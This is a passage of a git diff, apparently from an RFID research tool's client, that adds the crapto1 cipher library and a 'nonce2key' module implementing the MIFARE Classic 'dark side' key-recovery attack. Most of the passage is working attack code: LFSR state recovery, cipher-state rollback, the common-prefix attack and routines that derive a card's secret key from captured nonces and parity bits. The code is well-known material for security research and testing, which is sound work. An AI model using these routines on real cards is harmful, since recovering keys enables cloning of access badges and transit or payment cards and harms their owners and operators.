+ 0x4F37D, 0x279BE, 0x97A6A, 0x4BD35, 0x25E9A, 0x12F4D, 0x097A6, 0x80D66, + 0xC4006, 0x62003, 0xB56B4, 0x5AB5A, 0xA9318, 0xD0F39, 0x6879C, 0xB057B, + 0x582BD, 0x2C15E, 0x160AF, 0x8F6E2, 0xC3DC4, 0xE5857, 0x72C2B, 0x39615, + 0x98DBF, 0xC806A, 0xE0680, 0x70340, 0x381A0, 0x98665, 0x4C332, 0xA272C}; +static const uint32_t T2[] = { 0x3C88B810, 0x5E445C08, 0x2982A580, 0x14C152C0, + 0x4A60A960, 0x253054B0, 0x52982A58, 0x2FEC9EA8, 0x1156C4D0, 0x08AB6268, + 0x42F53AB0, 0x217A9D58, 0x161DC528, 0x0DAE6910, 0x46D73488, 0x25CB11C0, + 0x52E588E0, 0x6972C470, 0x34B96238, 0x5CFC3A98, 0x28DE96C8, 0x12CFC0E0, + 0x4967E070, 0x64B3F038, 0x74F97398, 0x7CDC3248, 0x38CE92A0, 0x1C674950, + 0x0E33A4A8, 0x01B959D0, 0x40DCACE8, 0x26CEDDF0}; +static const uint32_t C1[] = { 0x846B5, 0x4235A, 0x211AD}; +static const uint32_t C2[] = { 0x1A822E0, 0x21A822E0, 0x21A822E0}; +/** Reverse 64 bits of keystream into possible cipher states + * Variation mentioned in the paper. Somewhat optimized version + */ +struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3) +{ + struct Crypto1State *statelist, *sl; + uint8_t oks[32], eks[32], hi[32]; + uint32_t low = 0, win = 0; + uint32_t *tail, table[1 << 16]; + int i, j; + + sl = statelist = malloc(sizeof(struct Crypto1State) << 4); + if(!sl) + return 0; + sl->odd = sl->even = 0; + + for(i = 30; i >= 0; i -= 2) { + oks[i >> 1] = BIT(ks2, i ^ 24); + oks[16 + (i >> 1)] = BIT(ks3, i ^ 24); + } + for(i = 31; i >= 0; i -= 2) { + eks[i >> 1] = BIT(ks2, i ^ 24); + eks[16 + (i >> 1)] = BIT(ks3, i ^ 24); + } + + for(i = 0xfffff; i >= 0; --i) { + if (filter(i) != oks[0]) + continue; + + *(tail = table) = i; + for(j = 1; tail >= table && j < 29; ++j) + extend_table_simple(table, &tail, oks[j]); + + if(tail < table) + continue; + + for(j = 0; j < 19; ++j) + low = low << 1 | parity(i & S1[j]); + for(j = 0; j < 32; ++j) + hi[j] = parity(i & T1[j]); + + for(; tail >= table; --tail) { + for(j = 0; j < 3; ++j) { + *tail = *tail << 1; + *tail |= parity((i & C1[j]) ^ (*tail & C2[j])); + if(filter(*tail) != oks[29 + j]) + goto continue2; + } + + for(j = 0; j < 19; ++j) + win = win << 1 | parity(*tail & S2[j]); + + win ^= low; + for(j = 0; j < 32; ++j) { + win = win << 1 ^ hi[j] ^ parity(*tail & T2[j]); + if(filter(win) != eks[j]) + goto continue2; + } + + *tail = *tail << 1 | parity(LF_POLY_EVEN & *tail); + sl->odd = *tail ^ parity(LF_POLY_ODD & win); + sl->even = win; + ++sl; + sl->odd = sl->even = 0; + continue2:; + } + } + return statelist; +} + +/** lfsr_rollback_bit + * Rollback the shift register in order to get previous states + */ +void lfsr_rollback_bit(struct Crypto1State *s, uint32_t in, int fb) +{ + int out; + + s->odd &= 0xffffff; + s->odd ^= (s->odd ^= s->even, s->even ^= s->odd); + + out = s->even & 1; + out ^= LF_POLY_EVEN & (s->even >>= 1); + out ^= LF_POLY_ODD & s->odd; + out ^= !!in; + out ^= filter(s->odd) & !!fb; + + s->even |= parity(out) << 23; +} +/** lfsr_rollback_byte + * Rollback the shift register in order to get previous states + */ +void lfsr_rollback_byte(struct Crypto1State *s, uint32_t in, int fb) +{ + int i; + for (i = 7; i >= 0; --i) + lfsr_rollback_bit(s, BEBIT(in, i), fb); +} +/** lfsr_rollback_word + * Rollback the shift register in order to get previous states + */ +void lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb) +{ + int i; + for (i = 31; i >= 0; --i) + lfsr_rollback_bit(s, BEBIT(in, i), fb); +} + +/** nonce_distance + * x,y valid tag nonces, then prng_successor(x, nonce_distance(x, y)) = y + */ +static uint16_t *dist = 0; +int nonce_distance(uint32_t from, uint32_t to) +{ + uint16_t x, i; + if(!dist) { + dist = malloc(2 << 16); + if(!dist) + return -1; + for (x = i = 1; i; ++i) { + dist[(x & 0xff) << 8 | x >> 8] = i; + x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15; + } + } + return (65535 + dist[to >> 16] - dist[from >> 16]) % 65535; +} + + +static uint32_t fastfwd[2][8] = { + { 0, 0x4BC53, 0xECB1, 0x450E2, 0x25E29, 0x6E27A, 0x2B298, 0x60ECB}, + { 0, 0x1D962, 0x4BC53, 0x56531, 0xECB1, 0x135D3, 0x450E2, 0x58980}}; + + +/** lfsr_prefix_ks + * + * Is an exported helper function from the common prefix attack + * Described in the "dark side" paper. It returns an -1 terminated array + * of possible partial(21 bit) secret state. + * The required keystream(ks) needs to contain the keystream that was used to + * encrypt the NACK which is observed when varying only the 4 last bits of Nr + * only correct iff [NR_3] ^ NR_3 does not depend on Nr_3 + */ +uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd) +{ + uint32_t *candidates = malloc(4 << 21); + uint32_t c, entry; + int size, i; + + if(!candidates) + return 0; + + size = (1 << 21) - 1; + for(i = 0; i <= size; ++i) + candidates[i] = i; + + for(c = 0; c < 8; ++c) + for(i = 0;i <= size; ++i) { + entry = candidates[i] ^ fastfwd[isodd][c]; + + if(filter(entry >> 1) == BIT(ks[c], isodd)) + if(filter(entry) == BIT(ks[c], isodd + 2)) + continue; + + candidates[i--] = candidates[size--]; + } + + candidates[size + 1] = -1; + + return candidates; +} + +/** brute_top + * helper function which eliminates possible secret states using parity bits + */ +static struct Crypto1State* +brute_top(uint32_t prefix, uint32_t rresp, unsigned char parities[8][8], + uint32_t odd, uint32_t even, struct Crypto1State* sl) +{ + struct Crypto1State s; + uint32_t ks1, nr, ks2, rr, ks3, good, c; + + for(c = 0; c < 8; ++c) { + s.odd = odd ^ fastfwd[1][c]; + s.even = even ^ fastfwd[0][c]; + + lfsr_rollback_bit(&s, 0, 0); + lfsr_rollback_bit(&s, 0, 0); + lfsr_rollback_bit(&s, 0, 0); + + lfsr_rollback_word(&s, 0, 0); + lfsr_rollback_word(&s, prefix | c << 5, 1); + + sl->odd = s.odd; + sl->even = s.even; + + ks1 = crypto1_word(&s, prefix | c << 5, 1); + ks2 = crypto1_word(&s,0,0); + ks3 = crypto1_word(&s, 0,0); + nr = ks1 ^ (prefix | c << 5); + rr = ks2 ^ rresp; + + good = 1; + good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24); + good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16); + good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2, 8); + good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2, 0); + good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ BIT(ks3, 24); + + if(!good) + return sl; + } + + return ++sl; +} + + +/** lfsr_common_prefix + * Implentation of the common prefix attack. + * Requires the 28 bit constant prefix used as reader nonce (pfx) + * The reader response used (rr) + * The keystream used to encrypt the observed NACK's (ks) + * The parity bits (par) + * It returns a zero terminated list of possible cipher states after the + * tag nonce was fed in + */ +struct Crypto1State* +lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]) +{ + struct Crypto1State *statelist, *s; + uint32_t *odd, *even, *o, *e, top; + + odd = lfsr_prefix_ks(ks, 1); + even = lfsr_prefix_ks(ks, 0); + + statelist = malloc((sizeof *statelist) << 20); + if(!statelist || !odd || !even) + return 0; + + + s = statelist; + for(o = odd; *o != 0xffffffff; ++o) + for(e = even; *e != 0xffffffff; ++e) + for(top = 0; top < 64; ++top) { + *o = (*o & 0x1fffff) | (top << 21); + *e = (*e & 0x1fffff) | (top >> 3) << 21; + s = brute_top(pfx, rr, par, *o, *e, s); + } + + s->odd = s->even = 0; + + free(odd); + free(even); + + return statelist; +} diff --git a/client/nonce2key/crapto1.h b/client/nonce2key/crapto1.h new file mode 100644 index 00000000..49e8e9e4 --- /dev/null +++ b/client/nonce2key/crapto1.h @@ -0,0 +1,97 @@ +/* crapto1.h + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + MA 02110-1301, US$ + + Copyright (C) 2008-2008 bla +*/ +#ifndef CRAPTO1_INCLUDED +#define CRAPTO1_INCLUDED +#include +#ifdef __cplusplus +extern "C" { +#endif + +struct Crypto1State {uint32_t odd, even;}; +struct Crypto1State* crypto1_create(uint64_t); +void crypto1_destroy(struct Crypto1State*); +void crypto1_get_lfsr(struct Crypto1State*, uint64_t*); +uint8_t crypto1_bit(struct Crypto1State*, uint8_t, int); +uint8_t crypto1_byte(struct Crypto1State*, uint8_t, int); +uint32_t crypto1_word(struct Crypto1State*, uint32_t, int); +uint32_t prng_successor(uint32_t x, uint32_t n); + +struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in); +struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3); +uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd); +struct Crypto1State* +lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]); + + +void lfsr_rollback_bit(struct Crypto1State* s, uint32_t in, int fb); +void lfsr_rollback_byte(struct Crypto1State* s, uint32_t in, int fb); +void lfsr_rollback_word(struct Crypto1State* s, uint32_t in, int fb); +int nonce_distance(uint32_t from, uint32_t to); +#define SWAPENDIAN(x)\ + (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16) + +#define FOREACH_VALID_NONCE(N, FILTER, FSIZE)\ + uint32_t __n = 0,__M = 0, N = 0;\ + int __i;\ + for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\ + for(__i = FSIZE - 1; __i >= 0; __i--)\ + if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\ + break;\ + else if(__i)\ + __M = prng_successor(__M, (__i == 7) ? 48 : 8);\ + else + +#define LF_POLY_ODD (0x29CE5C) +#define LF_POLY_EVEN (0x870804) +#define BIT(x, n) ((x) >> (n) & 1) +#define BEBIT(x, n) BIT(x, (n) ^ 24) +static inline int parity(uint32_t x) +{ +#if !defined __i386__ || !defined __GNUC__ + x ^= x >> 16; + x ^= x >> 8; + x ^= x >> 4; + return BIT(0x6996, x & 0xf); +#else + asm( "movl %1, %%eax\n" + "mov %%ax, %%cx\n" + "shrl $0x10, %%eax\n" + "xor %%ax, %%cx\n" + "xor %%ch, %%cl\n" + "setpo %%al\n" + "movzx %%al, %0\n": "=r"(x) : "r"(x): "eax","ecx"); + return x; +#endif +} +static inline int filter(uint32_t const x) +{ + uint32_t f; + + f = 0xf22c0 >> (x & 0xf) & 16; + f |= 0x6c9c0 >> (x >> 4 & 0xf) & 8; + f |= 0x3c8b0 >> (x >> 8 & 0xf) & 4; + f |= 0x1e458 >> (x >> 12 & 0xf) & 2; + f |= 0x0d938 >> (x >> 16 & 0xf) & 1; + return BIT(0xEC57E80A, f); +} +#ifdef __cplusplus +} +#endif +#endif diff --git a/client/nonce2key/crypto1.c b/client/nonce2key/crypto1.c new file mode 100644 index 00000000..fbf88898 --- /dev/null +++ b/client/nonce2key/crypto1.c @@ -0,0 +1,93 @@ +/* crypto1.c + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + MA 02110-1301, US + + Copyright (C) 2008-2008 bla +*/ +#include "crapto1.h" +#include + +#define SWAPENDIAN(x)\ + (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16) + +struct Crypto1State * crypto1_create(uint64_t key) +{ + struct Crypto1State *s = malloc(sizeof(*s)); + int i; + + for(i = 47;s && i > 0; i -= 2) { + s->odd = s->odd << 1 | BIT(key, (i - 1) ^ 7); + s->even = s->even << 1 | BIT(key, i ^ 7); + } + return s; +} +void crypto1_destroy(struct Crypto1State *state) +{ + free(state); +} +void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr) +{ + int i; + for(*lfsr = 0, i = 23; i >= 0; --i) { + *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3); + *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3); + } +} +uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted) +{ + uint32_t feedin; + uint8_t ret = filter(s->odd); + + feedin = ret & !!is_encrypted; + feedin ^= !!in; + feedin ^= LF_POLY_ODD & s->odd; + feedin ^= LF_POLY_EVEN & s->even; + s->even = s->even << 1 | parity(feedin); + + s->odd ^= (s->odd ^= s->even, s->even ^= s->odd); + + return ret; +} +uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted) +{ + uint8_t i, ret = 0; + + for (i = 0; i < 8; ++i) + ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i; + + return ret; +} +uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted) +{ + uint32_t i, ret = 0; + + for (i = 0; i < 4; ++i, in <<= 8) + ret = ret << 8 | crypto1_byte(s, in >> 24, is_encrypted); + + return ret; +} + +/* prng_successor + * helper used to obscure the keystream during authentication + */ +uint32_t prng_successor(uint32_t x, uint32_t n) +{ + SWAPENDIAN(x); + while(n--) + x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31; + + return SWAPENDIAN(x); +} diff --git a/client/nonce2key/nonce2key.c b/client/nonce2key/nonce2key.c new file mode 100644 index 00000000..1c7ee14c --- /dev/null +++ b/client/nonce2key/nonce2key.c @@ -0,0 +1,57 @@ +//----------------------------------------------------------------------------- +// Merlok - June 2011 +// Roel - Dec 2009 +// Unknown author +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// MIFARE Darkside hack +//----------------------------------------------------------------------------- + +#include "nonce2key.h" +#include "ui.h" + +int nonce2key(uint32_t uid, uint32_t nt, uint64_t par_info, uint64_t ks_info, uint64_t * key) { + struct Crypto1State *state; + uint32_t pos, nr, rr, nr_diff;//, ks1, ks2; + byte_t bt, i, ks3x[8], par[8][8]; + uint64_t key_recovered; + nr = rr = 0; + + // Reset the last three significant bits of the reader nonce + nr &= 0xffffff1f; + + PrintAndLog("\nuid(%08x) nt(%08x) par(%016llx) ks(%016llx)\n\n",uid,nt,par_info,ks_info); + + for (pos=0; pos<8; pos++) + { + ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f; + bt = (par_info >> (pos*8)) & 0xff; + for (i=0; i<8; i++) + { + par[7-pos][i] = (bt >> i) & 0x01; + } + } + + printf("|diff|{nr} |ks3|ks3^5|parity |\n"); + printf("+----+--------+---+-----+---------------+\n"); + for (i=0; i<8; i++) + { + nr_diff = nr | i << 5; + printf("| %02x |%08x|",i << 5, nr_diff); + printf(" %01x | %01x |",ks3x[i], ks3x[i]^5); + for (pos=0; pos<7; pos++) printf("%01x,", par[i][pos]); + printf("%01x|\n", par[i][7]); + } + + state = lfsr_common_prefix(nr, rr, ks3x, par); + lfsr_rollback_word(state, uid^nt, 0); + crypto1_get_lfsr(state, &key_recovered); + crypto1_destroy(state); + + *key = key_recovered; + + return 0; +} diff --git a/client/nonce2key/nonce2key.h b/client/nonce2key/nonce2key.h new file mode 100644 index 00000000..dd070146 --- /dev/null +++ b/client/nonce2key/nonce2key.h @@ -0,0 +1,19 @@ +//----------------------------------------------------------------------------- +// Merlok - June 2011 +// Roel - Dec 2009 +// Unknown author +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// MIFARE Darkside hack +//----------------------------------------------------------------------------- + +#include "crapto1.h" +#include +#include + +typedef unsigned char byte_t; + +int nonce2key(uint32_t uid, uint32_t nt, uint64_t par_info, uint64_t ks_info, uint64_t * key); \ No newline at end of file diff --git a/client/obj/nonce2key/.dummy b/client/obj/nonce2key/.dummy new file mode 100644 index 00000000..e69de29b diff --git a/client/util.c b/client/util.c index fe89626f..d691eefc 100644 --- a/client/util.c +++ b/client/util.c @@ -30,3 +30,22 @@ char * sprint_hex(const uint8_t * data, const size_t len) { return buf; } + +void num_to_bytes(uint64_t n, size_t len, uint8_t* dest) +{ + while (len--) { + dest[len] = (uint8_t) n; + n >>= 8; + } +} + +uint64_t bytes_to_num(uint8_t* src, size_t len) +{ + uint64_t num = 0; + while (len--) + { + num = (num << 8) | (*src); + src++; + } + return num; +} diff --git a/client/util.h b/client/util.h index 8b65bc65..2362cbf4 100644 --- a/client/util.h +++ b/client/util.h @@ -13,3 +13,5 @@ void print_hex(const uint8_t * data, const size_t len); char * sprint_hex(const uint8_t * data, const size_t len); +void num_to_bytes(uint64_t n, size_t len, uint8_t* dest); +uint64_t bytes_to_num(uint8_t* src, size_t len); -- 2.39.2